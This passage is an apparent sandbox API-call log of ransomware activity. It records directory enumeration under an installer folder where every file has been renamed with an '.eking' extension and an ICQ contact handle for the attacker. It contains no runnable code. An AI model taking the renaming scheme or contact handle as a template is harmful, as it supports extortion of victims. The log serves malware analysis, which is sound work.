ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.881] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75ce88a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.881] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75ce88a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75ce88a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc77f3f35, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.881] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.881] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.881] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.883] GetProcessHeap () returned 0xc10000 [0212.883] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.883] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2070", cAlternateFileName="")) returned 1 [0212.883] GetProcessHeap () returned 0xc10000 [0212.883] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.884] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.884] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7640e6c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.884] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7640e6c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7640e6c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.884] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.884] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.884] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.885] GetProcessHeap () returned 0xc10000 [0212.885] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.885] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3076", cAlternateFileName="")) returned 1 [0212.886] GetProcessHeap () returned 0xc10000 [0212.886] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.887] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.887] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc781a21f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc781a21f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.887] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7840447, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7840447, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.887] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.887] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.887] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.889] GetProcessHeap () returned 0xc10000 [0212.889] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.889] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3082", cAlternateFileName="")) returned 1 [0212.889] GetProcessHeap () returned 0xc10000 [0212.889] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.891] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.891] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc78b2ba8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc78b2ba8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc799789a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.891] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d2b250, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.891] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.891] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.891] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.893] GetProcessHeap () returned 0xc10000 [0212.893] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.893] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Client", cAlternateFileName="")) returned 1 [0212.893] GetProcessHeap () returned 0xc10000 [0212.893] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.894] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.894] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d513e7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0212.895] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0212.895] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0212.895] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.896] GetProcessHeap () returned 0xc10000 [0212.896] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.896] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d513e7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d513e7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d9d7b8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DHtmlHeader.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DHTMLH~1.EKI")) returned 1 [0212.896] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9d7b8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d9d7b8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f675ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DisplayIcon.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DISPLA~1.EKI")) returned 1 [0212.896] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Extended", cAlternateFileName="")) returned 1 [0212.896] GetProcessHeap () returned 0xc10000 [0212.896] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.024] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0213.024] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7dc3b37, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7dc3b37, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f8d6b7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0213.024] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0213.024] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0213.024] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0213.024] GetProcessHeap () returned 0xc10000 [0213.024] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.024] FindNextFileW (in: hFindFile=0xc29b48, 